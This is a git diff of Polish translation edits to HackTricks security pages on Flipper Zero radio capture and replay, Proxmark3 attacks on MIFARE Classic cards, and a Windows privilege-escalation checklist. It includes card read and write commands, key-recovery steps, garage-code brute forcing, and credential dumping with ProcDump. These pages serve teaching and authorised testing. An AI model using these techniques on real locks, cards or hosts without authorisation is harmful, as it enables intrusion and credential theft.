Do konwersji z binarnego na obraz, sprawdź [dcode](https://www.dcode.fr/binary-image). Aby odczytać kody QR, skorzystaj z [tego czytnika kodów kreskowych online](https://online-barcode-reader.inliteresearch.com/).
|
||||
|
||||
### **Tłumaczenie na alfabet Braille'a**
|
||||
|
||||
Do tłumaczenia na alfabet Braille'a, [Tłumacz Braille'a Branah](https://www.branah.com/braille-translator) to doskonałe źródło.
|
||||
|
||||
## **Referencje**
|
||||
|
||||
|
@ -209,7 +215,7 @@ Do tłumaczenia Braille'a użyj [Tłumacza Braille'a Branah](https://www.branah.
|
|||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
<summary><strong>Zacznij naukę hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -35,7 +35,7 @@ Z [**Flipperem Zero**](https://flipperzero.one/) możesz:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -43,10 +43,10 @@ Z [**Flipperem Zero**](https://flipperzero.one/) możesz:
|
|||
|
||||
<summary><strong>Zacznij naukę hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,13 +24,13 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
## Wprowadzenie <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zero może **odbierać i nadawać częstotliwości radiowe w zakresie od 300 do 928 MHz** za pomocą wbudowanego modułu, który może odczytywać, zapisywać i emulować piloty zdalne. Te pilotażowe zdalne są używane do interakcji z bramami, szlabanami, zamkami radiowymi, przełącznikami zdalnego sterowania, dzwonkami bezprzewodowymi, inteligentnymi światłami i innymi. Flipper Zero może pomóc Ci dowiedzieć się, czy Twoje zabezpieczenia są naruszone.
|
||||
Flipper Zero może **odbierać i nadawać częstotliwości radiowe w zakresie od 300 do 928 MHz** za pomocą wbudowanego modułu, który może odczytywać, zapisywać i emulować piloty zdalnego sterowania. Te pilotażowe zdalne są używane do interakcji z bramami, szlabanami, zamkami radiowymi, przełącznikami zdalnego sterowania, dzwonkami bezprzewodowymi, inteligentnymi światłami i innymi. Flipper Zero może pomóc Ci dowiedzieć się, czy Twoje zabezpieczenia są naruszone.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Sprzęt Sub-GHz <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zero posiada wbudowany moduł sub-1 GHz oparty na układzie [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101](https://www.ti.com/lit/ds/symlink/cc1101.pdf) i antenę radiową (maksymalny zasięg to 50 metrów). Zarówno układ CC1101, jak i antena są zaprojektowane do pracy w częstotliwościach z pasm 300-348 MHz, 387-464 MHz i 779-928 MHz.
|
||||
Flipper Zero posiada wbudowany moduł sub-1 GHz oparty na układzie [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101](https://www.ti.com/lit/ds/symlink/cc1101.pdf) i antenę radiową (maksymalny zasięg to 50 metrów). Zarówno układ CC1101, jak i antena są zaprojektowane do pracy w częstotliwościach w pasmach 300-348 MHz, 387-464 MHz i 779-928 MHz.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -39,16 +39,16 @@ Flipper Zero posiada wbudowany moduł sub-1 GHz oparty na układzie [](https:
|
|||
### Analizator Częstotliwości
|
||||
|
||||
{% hint style="info" %}
|
||||
Jak znaleźć, jaką częstotliwość używa pilot zdalny
|
||||
Jak znaleźć, jaką częstotliwość używa pilot
|
||||
{% endhint %}
|
||||
|
||||
Podczas analizowania, Flipper Zero skanuje siłę sygnału (RSSI) we wszystkich dostępnych częstotliwościach w konfiguracji częstotliwości. Flipper Zero wyświetla częstotliwość o najwyższej wartości RSSI, z siłą sygnału wyższą niż -90 [dBm](https://en.wikipedia.org/wiki/DBm).
|
||||
Podczas analizowania, Flipper Zero skanuje siłę sygnału (RSSI) we wszystkich dostępnych częstotliwościach w konfiguracji częstotliwości. Flipper Zero wyświetla częstotliwość z najwyższą wartością RSSI, o sile sygnału wyższej niż -90 [dBm](https://en.wikipedia.org/wiki/DBm).
|
||||
|
||||
Aby określić częstotliwość pilota zdalnego, wykonaj następujące czynności:
|
||||
Aby określić częstotliwość pilota, wykonaj następujące czynności:
|
||||
|
||||
1. Umieść pilot zdalny bardzo blisko lewej strony Flipper Zero.
|
||||
2. Przejdź do **Menu Głównego** **→ Sub-GHz**.
|
||||
3. Wybierz **Analizator Częstotliwości**, następnie przytrzymaj przycisk na pilocie zdalnym, który chcesz przeanalizować.
|
||||
1. Umieść pilot bardzo blisko lewej strony Flipper Zero.
|
||||
2. Przejdź do **Menu Główne** **→ Sub-GHz**.
|
||||
3. Wybierz **Analizator Częstotliwości**, następnie naciśnij i przytrzymaj przycisk na pilocie, który chcesz przeanalizować.
|
||||
4. Sprawdź wartość częstotliwości na ekranie.
|
||||
|
||||
### Odczyt
|
||||
|
@ -57,14 +57,14 @@ Aby określić częstotliwość pilota zdalnego, wykonaj następujące czynnośc
|
|||
Znajdź informacje o używanej częstotliwości (również inny sposób znalezienia używanej częstotliwości)
|
||||
{% endhint %}
|
||||
|
||||
Opcja **Odczyt** **nasłuchuje na skonfigurowanej częstotliwości** na wskazanej modulacji: domyślnie 433,92 AM. Jeśli podczas odczytywania **znajdzie się coś**, informacje są wyświetlane na ekranie. Te informacje mogą być użyte do replikacji sygnału w przyszłości.
|
||||
Opcja **Odczyt** **nasłuchuje na skonfigurowanej częstotliwości** na wskazanej modulacji: domyślnie 433,92 AM. Jeśli podczas odczytu **znajdzie się coś**, informacje są wyświetlane na ekranie. Te informacje mogą być użyte do replikacji sygnału w przyszłości.
|
||||
|
||||
Podczas korzystania z funkcji Odczyt, można nacisnąć **lewy przycisk** i **skonfigurować to**.\
|
||||
Podczas korzystania z funkcji Odczyt, można nacisnąć **lewy przycisk** i **skonfigurować go**.\
|
||||
W tym momencie są **4 modulacje** (AM270, AM650, FM328 i FM476), oraz **kilka istotnych częstotliwości** przechowywanych:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Możesz ustawić **dowolną, która Cię interesuje**, jednak jeśli **nie jesteś pewien, która częstotliwość** może być używana przez pilot zdalny, **ustaw Hopping na ON** (domyślnie Off) i naciśnij przycisk kilka razy, aż Flipper ją przechwyci i poda Ci potrzebne informacje do ustawienia częstotliwości.
|
||||
Możesz ustawić **dowolną, która Cię interesuje**, jednak jeśli **nie jesteś pewien, która częstotliwość** może być używana przez pilota, **ustaw Hopping na ON** (domyślnie Off), i naciśnij przycisk kilka razy, aż Flipper ją przechwyci i poda Ci potrzebne informacje do ustawienia częstotliwości.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Przełączanie między częstotliwościami zajmuje trochę czasu, dlatego sygnały przesyłane w trakcie przełączania mogą zostać pominięte. Dla lepszego odbioru sygnału, ustaw stałą częstotliwość określoną przez Analizator Częstotliwości.
|
||||
|
@ -82,7 +82,7 @@ Domyślnie **Odczyt Surowy jest również w 433,92 w AM650**, ale jeśli za pomo
|
|||
|
||||
### Atak Brute-Force
|
||||
|
||||
Jeśli znasz protokół używany na przykład przez bramę garażową, można **wygenerować wszystkie kody i wysłać je za pomocą Flipper Zero**. Jest to przykład obsługi ogólnych powszechnie stosowanych typów garaży: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
|
||||
Jeśli znasz protokół używany na przykład przez bramę garażową, możliwe jest **wygenerowanie wszystkich kodów i ich wysłanie za pomocą Flipper Zero**. Jest to przykład obsługujący ogólne powszechne typy garaży: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
|
||||
|
||||
### Dodaj Ręcznie
|
||||
|
||||
|
@ -119,7 +119,7 @@ Sprawdź listę na [https://docs.flipperzero.one/sub-ghz/frequencies](https://do
|
|||
### Test
|
||||
|
||||
{% hint style="info" %}
|
||||
Pobierz dBm z zapisanych częstotliwości
|
||||
Uzyskaj dBm z zapisanych częstotliwości
|
||||
{% endhint %}
|
||||
|
||||
## Odnośniki
|
||||
|
@ -128,7 +128,7 @@ Pobierz dBm z zapisanych częstotliwości
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -27,8 +27,8 @@ Pierwszą rzeczą, którą musisz zrobić, jest posiadanie [**Proxmark3**](https
|
|||
### Atakowanie MIFARE Classic 1KB
|
||||
|
||||
Ma **16 sektorów**, z których każdy ma **4 bloki**, a każdy blok zawiera **16B**. UID znajduje się w sektorze 0 bloku 0 (i nie może być zmieniony).\
|
||||
Aby uzyskać dostęp do każdego sektora, potrzebujesz **2 kluczy** (**A** i **B**), które są przechowywane w **bloku 3 każdego sektora** (sektorowy blok końcowy). Sektorowy blok końcowy przechowuje również **bity dostępu**, które określają uprawnienia do **odczytu i zapisu** na **każdym bloku** za pomocą 2 kluczy.\
|
||||
2 klucze są przydatne do udzielenia uprawnień do odczytu, jeśli znasz pierwszy, i zapisu, jeśli znasz drugi (na przykład).
|
||||
Aby uzyskać dostęp do każdego sektora, potrzebujesz **2 kluczy** (**A** i **B**), które są przechowywane w **bloku 3 każdego sektora** (sektorowy blok końcowy). Sektorowy blok końcowy przechowuje również **bity dostępu**, które nadają uprawnienia do **odczytu i zapisu** na **każdym bloku** za pomocą 2 kluczy.\
|
||||
2 klucze są przydatne do nadawania uprawnień do odczytu, jeśli znasz pierwszy, i zapisu, jeśli znasz drugi (na przykład).
|
||||
|
||||
Można przeprowadzić kilka ataków
|
||||
```bash
|
||||
|
@ -49,7 +49,7 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
|
|||
proxmark3> hf mf eget 01 # Read block 1
|
||||
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
|
||||
```
|
||||
Proxmark3 pozwala na wykonanie innych działań, takich jak **podsluchiwanie** komunikacji **Tag-Reader**, aby spróbować znaleźć wrażliwe dane. W przypadku tej karty można po prostu podsłuchać komunikację i obliczyć użyty klucz, ponieważ **operacje kryptograficzne są słabe**, a znając tekst jawny i zaszyfrowany, można go obliczyć (narzędzie `mfkey64`).
|
||||
Proxmark3 pozwala na wykonanie innych działań, takich jak **podsluchiwanie** komunikacji **Tag-Reader** w celu próby znalezienia danych poufnych. Na tej karcie można podsłuchać komunikację i obliczyć użyty klucz, ponieważ **operacje kryptograficzne są słabe**, a znając tekst jawny i zaszyfrowany, można go obliczyć (narzędzie `mfkey64`).
|
||||
|
||||
### Surowe polecenia
|
||||
|
||||
|
@ -63,7 +63,7 @@ No chinese magic backdoor command detected
|
|||
Prng detection: WEAK
|
||||
Valid ISO14443A Tag Found - Quiting Search
|
||||
```
|
||||
Z tymi informacjami możesz spróbować wyszukać informacje o karcie i o sposobie komunikacji z nią. Proxmark3 pozwala wysyłać surowe polecenia, takie jak: `hf 14a raw -p -b 7 26`
|
||||
Z tymi informacjami możesz spróbować wyszukać informacje o karcie i o sposobie komunikacji z nią. Proxmark3 pozwala na wysyłanie poleceń w postaci surowej, na przykład: `hf 14a raw -p -b 7 26`
|
||||
|
||||
### Skrypty
|
||||
|
||||
|
@ -71,11 +71,11 @@ Oprogramowanie Proxmark3 jest dostarczane z preinstalowaną listą **skryptów a
|
|||
```
|
||||
proxmark3> script run mfkeys
|
||||
```
|
||||
Możesz stworzyć skrypt do **fuzzowania czytników tagów**, więc kopiując dane z **ważnej karty**, po prostu napisz **skrypt Lua**, który **losowo zmienia** jedno lub więcej losowych **bajtów** i sprawdź, czy **czytnik ulega awarii** podczas dowolnej iteracji.
|
||||
Możesz stworzyć skrypt do **fuzzowania czytników tagów**, aby skopiować dane z **ważnej karty**, po prostu napisz **skrypt Lua**, który **losowo zmienia** jedno lub więcej losowych **bajtów** i sprawdź, czy **czytnik ulega awarii** w dowolnej iteracji.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -84,10 +84,10 @@ Możesz stworzyć skrypt do **fuzzowania czytników tagów**, więc kopiując da
|
|||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,14 +9,14 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -40,40 +40,41 @@ Inne sposoby wsparcia HackTricks:
|
|||
### [Eksploracja logowania/AV](windows-local-privilege-escalation/#enumeration)
|
||||
|
||||
* [ ] Sprawdź ustawienia [**Audytu** ](windows-local-privilege-escalation/#audit-settings)i [**WEF** ](windows-local-privilege-escalation/#wef)
|
||||
* [ ] Sprawdź czy [**WDigest** ](windows-local-privilege-escalation/#wdigest)jest aktywny
|
||||
* [ ] Sprawdź [**LAPS**](windows-local-privilege-escalation/#laps)
|
||||
* [ ] Sprawdź, czy [**WDigest** ](windows-local-privilege-escalation/#wdigest)jest aktywny
|
||||
* [ ] [**Ochrona LSA**](windows-local-privilege-escalation/#lsa-protection)?
|
||||
* [ ] [**Guardia Credentials**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
|
||||
* [ ] [**Zachowane poświadczenia**](windows-local-privilege-escalation/#cached-credentials)?
|
||||
* [ ] Sprawdź, czy jest zainstalowane jakieś [**AV**](windows-av-bypass)
|
||||
* [ ] [**Polityka AppLocker**](authentication-credentials-uac-and-efs#applocker-policy)?
|
||||
* [ ] Sprawdź, czy jest zainstalowane jakiekolwiek [**AV**](windows-av-bypass)
|
||||
* [**Polityka AppLocker**](authentication-credentials-uac-and-efs#applocker-policy)?
|
||||
* [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)
|
||||
* [**Uprawnienia użytkownika**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* Sprawdź [**bieżące** uprawnienia **użytkownika**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* Czy jesteś [**członkiem jakiejkolwiek grupy z uprawnieniami**](windows-local-privilege-escalation/#privileged-groups)?
|
||||
* Czy jesteś [**członkiem jakiejkolwiek grupy uprzywilejowanej**](windows-local-privilege-escalation/#privileged-groups)?
|
||||
* Sprawdź, czy masz włączone [którekolwiek z tych tokenów](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
* [**Sesje użytkowników**](windows-local-privilege-escalation/#logged-users-sessions)?
|
||||
* Sprawdź [**katalogi domowe użytkowników**](windows-local-privilege-escalation/#home-folders) (dostęp?)
|
||||
* Sprawdź[ **katalogi domowe użytkowników**](windows-local-privilege-escalation/#home-folders) (dostęp?)
|
||||
* Sprawdź [**Politykę hasła**](windows-local-privilege-escalation/#password-policy)
|
||||
* Co jest [**w schowku**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
|
||||
* Co jest[ **w schowku**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
|
||||
|
||||
### [Sieć](windows-local-privilege-escalation/#network)
|
||||
|
||||
* Sprawdź **bieżące** [**informacje sieciowe**](windows-local-privilege-escalation/#network)
|
||||
* Sprawdź **bieżące** [**informacje o sieci**](windows-local-privilege-escalation/#network)
|
||||
* Sprawdź **ukryte lokalne usługi** ograniczone dla zewnętrznych
|
||||
|
||||
### [Uruchomione procesy](windows-local-privilege-escalation/#running-processes)
|
||||
### [Procesy uruchomione](windows-local-privilege-escalation/#running-processes)
|
||||
|
||||
* Uprawnienia plików i folderów procesów [**binarnych**](windows-local-privilege-escalation/#file-and-folder-permissions)
|
||||
* [**Wydobywanie haseł z pamięci**](windows-local-privilege-escalation/#memory-password-mining)
|
||||
* [**Niebezpieczne aplikacje GUI**](windows-local-privilege-escalation/#insecure-gui-apps)
|
||||
* Ukradnij poświadczenia z **interesujących procesów** za pomocą `ProcDump.exe` ? (firefox, chrome, itp ...)
|
||||
* Kradzież poświadczeń za pomocą **interesujących procesów** za pomocą `ProcDump.exe` ? (firefox, chrome, itp ...)
|
||||
|
||||
### [Usługi](windows-local-privilege-escalation/#services)
|
||||
|
||||
* [Czy możesz **modyfikować jakąkolwiek usługę**?](windows-local-privilege-escalation#permissions)
|
||||
* [Czy możesz **modyfikować** **binarny plik**, który jest **wykonywany** przez jakąkolwiek **usługę**?](windows-local-privilege-escalation/#modify-service-binary-path)
|
||||
* [Czy możesz **modyfikować** **rejestr** jakiejkolwiek **usługi**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
|
||||
* Czy możesz skorzystać z jakiejkolwiek **ścieżki binarnej usługi** bez cudzysłowu (unquoted service binary path)? (windows-local-privilege-escalation/#unquoted-service-paths)
|
||||
* [Czy możesz skorzystać z jakiejkolwiek **ścieżki binarnej usługi** bez cudzysłowu?](windows-local-privilege-escalation/#unquoted-service-paths)
|
||||
|
||||
### [**Aplikacje**](windows-local-privilege-escalation/#applications)
|
||||
|
||||
|
